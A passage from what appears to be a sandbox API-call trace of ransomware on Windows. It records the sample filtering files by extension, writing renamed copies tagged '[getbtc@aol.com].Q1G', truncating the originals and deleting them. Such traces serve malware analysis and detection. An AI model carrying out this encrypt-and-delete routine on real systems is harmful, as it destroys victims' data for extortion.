Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf")) returned 1 [0247.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0247.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0247.945] lstrlenW (lpString=".doc") returned 4 [0247.945] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.945] lstrlenW (lpString=".docx") returned 5 [0247.945] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.945] lstrlenW (lpString=".pdf") returned 4 [0247.945] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.945] lstrlenW (lpString=".xls") returned 4 [0247.945] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.945] lstrlenW (lpString=".xlsx") returned 5 [0247.945] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.945] lstrlenW (lpString=".ppt") returned 4 [0247.945] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0247.945] lstrlenW (lpString=".zip") returned 4 [0247.945] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.945] lstrlenW (lpString=".rar") returned 4 [0247.945] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.945] lstrlenW (lpString=".bz2") returned 4 [0247.945] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.945] lstrlenW (lpString=".7z") returned 3 [0247.945] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0247.945] lstrlenW (lpString=".dbf") returned 4 [0247.945] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0247.945] lstrlenW (lpString=".1cd") returned 4 [0247.945] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0247.945] lstrlenW (lpString=".jpg") returned 4 [0247.945] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0247.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0247.946] lstrlenW (lpString=".doc") returned 4 [0247.946] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.946] lstrlenW (lpString=".docx") returned 5 [0247.946] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.946] lstrlenW (lpString=".pdf") returned 4 [0247.946] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.946] lstrlenW (lpString=".xls") returned 4 [0247.946] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.946] lstrlenW (lpString=".xlsx") returned 5 [0247.946] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.946] lstrlenW (lpString=".ppt") returned 4 [0247.946] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0247.946] lstrlenW (lpString=".zip") returned 4 [0247.946] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.946] lstrlenW (lpString=".rar") returned 4 [0247.946] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.946] lstrlenW (lpString=".bz2") returned 4 [0247.946] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.946] lstrlenW (lpString=".7z") returned 3 [0247.946] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0247.946] lstrlenW (lpString=".dbf") returned 4 [0247.946] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0247.946] lstrlenW (lpString=".1cd") returned 4 [0247.946] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 63 [0247.946] lstrlenW (lpString=".jpg") returned 4 [0247.946] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.946] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0247.947] lstrlenW (lpString="DD01145_.WMF") returned 12 [0247.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0247.948] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=2780) returned 1 [0247.948] CloseHandle (hObject=0x200) returned 1 [0247.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf")) returned 0x20 [0247.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0247.949] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.949] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0247.950] GetLastError () returned 0x0 [0247.950] ReadFile (in: hFile=0x200, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0xadc, lpOverlapped=0x0) returned 1 [0247.951] WriteFile (in: hFile=0x3c0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xae0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xae0, lpOverlapped=0x0) returned 1 [0247.952] ReadFile (in: hFile=0x200, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0247.952] WriteFile (in: hFile=0x3c0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0247.952] SetEndOfFile (hFile=0x3c0) returned 1 [0247.952] CloseHandle (hObject=0x3c0) returned 1 [0247.952] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.952] SetEndOfFile (hFile=0x200) returned 1 [0247.954] CloseHandle (hObject=0x200) returned 1 [0247.954] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0247.955] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01145_.wmf")) returned 1 [0247.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0247.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0247.955] lstrlenW (lpString=".doc") returned 4 [0247.955] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.955] lstrlenW (lpString=".docx") returned 5 [0247.955] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.955] lstrlenW (lpString=".pdf") returned 4 [0247.955] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.955] lstrlenW (lpString=".xls") returned 4 [0247.955] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.955] lstrlenW (lpString=".xlsx") returned 5 [0247.955] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.955] lstrlenW (lpString=".ppt") returned 4 [0247.955] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0247.955] lstrlenW (lpString=".zip") returned 4 [0247.955] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.955] lstrlenW (lpString=".rar") returned 4 [0247.955] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.955] lstrlenW (lpString=".bz2") returned 4 [0247.955] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.956] lstrlenW (lpString=".7z") returned 3 [0247.956] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0247.956] lstrlenW (lpString=".dbf") returned 4 [0247.956] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0247.956] lstrlenW (lpString=".1cd") returned 4 [0247.956] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0247.956] lstrlenW (lpString=".jpg") returned 4 [0247.956] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0247.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0247.956] lstrlenW (lpString=".doc") returned 4 [0247.956] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.956] lstrlenW (lpString=".docx") returned 5 [0247.956] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.956] lstrlenW (lpString=".pdf") returned 4 [0247.956] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.956] lstrlenW (lpString=".xls") returned 4 [0247.956] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.956] lstrlenW (lpString=".xlsx") returned 5 [0247.956] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.956] lstrlenW (lpString=".ppt") returned 4 [0247.956] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0247.956] lstrlenW (lpString=".zip") returned 4 [0247.956] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.956] lstrlenW (lpString=".rar") returned 4 [0247.956] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.956] lstrlenW (lpString=".bz2") returned 4 [0247.956] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.956] lstrlenW (lpString=".7z") returned 3 [0247.956] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0247.956] lstrlenW (lpString=".dbf") returned 4 [0247.956] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0247.957] lstrlenW (lpString=".1cd") returned 4 [0247.957] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 63 [0247.957] lstrlenW (lpString=".jpg") returned 4 [0247.957] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.957] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0247.957] lstrlenW (lpString="DD01146_.WMF") returned 12 [0247.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0247.957] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=2796) returned 1 [0247.957] CloseHandle (hObject=0x200) returned 1 [0247.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf")) returned 0x20 [0247.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0247.958] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.958] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0247.958] GetLastError () returned 0x0 [0247.958] ReadFile (in: hFile=0x200, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0xaec, lpOverlapped=0x0) returned 1 [0247.960] WriteFile (in: hFile=0x3c0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xaf0, lpOverlapped=0x0) returned 1 [0247.961] ReadFile (in: hFile=0x200, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0247.961] WriteFile (in: hFile=0x3c0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0247.961] SetEndOfFile (hFile=0x3c0) returned 1 [0247.961] CloseHandle (hObject=0x3c0) returned 1 [0247.961] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.961] SetEndOfFile (hFile=0x200) returned 1 [0247.963] CloseHandle (hObject=0x200) returned 1 [0247.963] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0247.963] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf")) returned 1 [0247.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0247.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0247.964] lstrlenW (lpString=".doc") returned 4 [0247.964] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.964] lstrlenW (lpString=".docx") returned 5 [0247.964] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.964] lstrlenW (lpString=".pdf") returned 4 [0247.964] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.964] lstrlenW (lpString=".xls") returned 4 [0247.964] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.964] lstrlenW (lpString=".xlsx") returned 5 [0247.964] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.964] lstrlenW (lpString=".ppt") returned 4 [0247.964] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0247.964] lstrlenW (lpString=".zip") returned 4 [0247.964] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.964] lstrlenW (lpString=".rar") returned 4 [0247.964] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.964] lstrlenW (lpString=".bz2") returned 4 [0247.964] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.964] lstrlenW (lpString=".7z") returned 3 [0247.964] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0247.964] lstrlenW (lpString=".dbf") returned 4 [0247.964] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0247.964] lstrlenW (lpString=".1cd") returned 4 [0247.964] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0247.964] lstrlenW (lpString=".jpg") returned 4 [0247.964] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0247.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0247.965] lstrlenW (lpString=".doc") returned 4 [0247.965] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.965] lstrlenW (lpString=".docx") returned 5 [0247.965] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.965] lstrlenW (lpString=".pdf") returned 4 [0247.965] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.965] lstrlenW (lpString=".xls") returned 4 [0247.965] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.965] lstrlenW (lpString=".xlsx") returned 5 [0247.965] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.965] lstrlenW (lpString=".ppt") returned 4 [0247.965] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0247.965] lstrlenW (lpString=".zip") returned 4 [0247.965] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.965] lstrlenW (lpString=".rar") returned 4 [0247.965] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.965] lstrlenW (lpString=".bz2") returned 4 [0247.965] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.965] lstrlenW (lpString=".7z") returned 3 [0247.965] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0247.965] lstrlenW (lpString=".dbf") returned 4 [0247.965] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0247.965] lstrlenW (lpString=".1cd") returned 4 [0247.965] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 63 [0247.965] lstrlenW (lpString=".jpg") returned 4 [0247.965] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.966] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0247.966] lstrlenW (lpString="DD01151_.WMF") returned 12 [0247.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0247.966] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=2960) returned 1 [0247.966] CloseHandle (hObject=0x200) returned 1 [0247.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf")) returned 0x20 [0247.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0247.966] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.966] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0248.083] GetLastError () returned 0x0 [0248.083] ReadFile (in: hFile=0x200, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0xb90, lpOverlapped=0x0) returned 1 [0248.084] WriteFile (in: hFile=0x388, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xba0, lpOverlapped=0x0) returned 1 [0248.085] ReadFile (in: hFile=0x200, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.085] WriteFile (in: hFile=0x388, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0248.085] SetEndOfFile (hFile=0x388) returned 1 [0248.085] CloseHandle (hObject=0x388) returned 1 [0248.085] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.085] SetEndOfFile (hFile=0x200) returned 1 [0248.087] CloseHandle (hObject=0x200) returned 1 [0248.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0248.235] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf")) returned 1 [0248.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0248.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 63 [0248.235] lstrlenW (lpString=".doc") returned 4 [0248.236] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0248.236] lstrlenW (lpString=".docx") returned 5 [0248.236] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0248.236] lstrlenW (lpString=".pdf") returned 4 [0248.236] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0248.236] lstrlenW (lpString=".xls") returned 4 [0248.236] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 